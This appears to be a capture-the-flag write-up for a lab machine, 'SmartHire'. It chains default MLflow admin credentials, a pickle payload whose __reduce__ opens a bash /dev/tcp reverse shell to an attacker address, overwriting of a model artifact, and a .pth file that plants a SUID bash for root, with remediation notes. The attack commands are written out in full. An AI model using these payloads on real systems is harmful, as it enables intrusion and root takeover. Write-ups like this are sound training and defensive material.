SmartHire
Summary
Port 80 served two name-based virtual hosts: the SmartHire hiring app and an MLflow model registry. With an app session, I uploaded a hiring CSV to /upload_hiring_data, which trained and registered a model whose artifact is a Python pickle. MLflow accepted the factory-default admin login over HTTP basic auth, so I looked up that model's run and overwrote its python_model.pkl with a reverse-shell pickle.
Submitting a CSV to the session-gated /predict endpoint made the app deserialize it, giving a shell as svcweb. Svcweb could run a Python management script through sudo, and the script's plugins/dev directory was writable; a one-line .pth file there ran as root when the script started, and planted a SUID copy of bash.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for admin>"
export HEX_ID="<a-value-you-captured-earlier>"Attack path — how the box was taken
Exact commands 1
Full-port version scan.
$ nmap -Pn -n -sV --version-light -p- --min-rate 3000 $TARGETExact commands 1
Maps both virtual hosts to the target.
$ echo "$TARGET smarthire.htb models.smarthire.htb" | sudo tee -a /etc/hostsFixRequire authentication on MLflow and restrict it to internal networksCritical
Exact commands 1
Sends a two-row CSV as an authenticated user. Note the registered_model name in the reply.
$ printf 'name,skills,experience,education,position_applied,previous_company\nAlice,"Python,SQL",60,BS,Engineer,Acme\nBob,"Java,SQL",36,BS,Developer,Corp\n' | curl -sS -b /tmp/sh126.cookies -H 'Host: smarthire.htb' -F 'file=@-;filename=hiring.csv;type=text/csv' http://$TARGET/upload_hiring_dataFixReplace unsafe pickle deserialization with a signed, safe model formatCritical
Exact commands 2
Use the registered_model name from the training reply. The run_id in the output is $HEX_ID below.
$ curl -sS -u admin:$PASSWORD -H 'Host: models.smarthire.htb' "http://$TARGET/api/2.0/mlflow/model-versions/get?name=pwn-eb5a47f4aae1-model&version=1"Confirms python_model.pkl exists under model/.
$ curl -sS -u admin:$PASSWORD -H 'Host: models.smarthire.htb' "http://$TARGET/api/2.0/mlflow/artifacts/list?run_id=$HEX_ID&path=model"Exact commands 4
Listener on the attacking host.
$ nc -lvnp 4444Writes a pickle that opens a reverse shell when loaded.
$ cat > /tmp/make_pickle.py <<PY
import pickle, os
class E:
def __reduce__(self):
return (os.system, ("bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'",))
pickle.dump(E(), open('/tmp/python_model.pkl','wb'))
PYReplaces the model's pickle; expect HTTP 200.
$ python3 /tmp/make_pickle.py && curl -sS -u admin:$PASSWORD -X PUT -H 'Host: models.smarthire.htb' --upload-file /tmp/python_model.pkl -w '\nHTTP %{http_code}\n' "http://$TARGET/api/2.0/mlflow-artifacts/artifacts/0/$HEX_ID/artifacts/model/python_model.pkl"Authenticated prediction request; the app loads the poisoned model and the listener connects.
$ printf 'experience,skills\n60,"Python,SQL"\n' | curl --max-time 5 -sS -b /tmp/sh126.cookies -H 'Host: smarthire.htb' -F 'file=@-;filename=resume.csv;type=text/csv' http://$TARGET/predictExact commands 2
Confirms the context and prints <user.txt>.
$ id; whoami; hostname; pwd; find /home -maxdepth 3 -name user.txt -type f -print -exec cat {} \; 2>/dev/nullRead how the script handles its plugins/dev directory.
$ sed -n '1,240p' /opt/tools/mlflow_ctl/mlflowctl.pyFixRemove the unrestricted sudo rule for the Python management scriptCritical
Exact commands 5
The import-prefixed line runs when Python processes the .pth.
$ printf "import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')\n" > /opt/tools/mlflow_ctl/plugins/dev/pwn_root.pthConfirms the file landed.
$ ls -l /opt/tools/mlflow_ctl/plugins/dev/pwn_root.pthAny subcommand works; the .pth fires at interpreter startup, as root.
$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py statusExpect -rwsr-xr-x root root.
$ ls -l /tmp/rootbash-p keeps euid=0; prints <root.txt>.
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(svcweb) euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain' — a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all — prefer a data format that carries no types, such as JSON parsed into known structures — and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.